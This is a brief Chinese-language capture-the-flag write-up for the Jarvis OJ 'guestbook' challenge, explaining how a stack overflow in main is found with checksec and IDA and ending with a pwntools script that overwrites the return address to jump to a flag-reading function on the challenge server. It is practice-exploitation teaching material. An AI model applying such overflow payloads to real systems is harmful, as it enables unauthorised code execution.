题目链接 https://www.jarvisoj.com/challenges
下载程序后,先file查看到文件为64位、动态链接
file guestbook
接着用checksec命令查看文件开启了哪些保护机制
checksec guestbook
用ida64打开程序,观察到main中的read函数存在溢出点,shift+F12可以看到有flag.txt文件,猜想程序中可能包含此文件
在函数窗口看到有good_game函数,打开,发现其中调用打开了flag.txt文件
思路:在main函数的溢出点输入一大串字符串,在其返回地址输入good_game函数的地址
打开函数的汇编,可查到good_game函数的地址为400620
重点来啦!!!我们看到main函数的汇编没有push ebp....而是直接sub rsp,88h 所以在帧栈中没有rbp
guestbook.py如下:
from pwn import *
sh=remote('own.jarvisoj.com',9876)
flag_add=0x400620
payload='a'*0x88+p64(flag_add)
sh.send(payload)
sh.interactive()
sh.close()
接着执行
python guestbook.py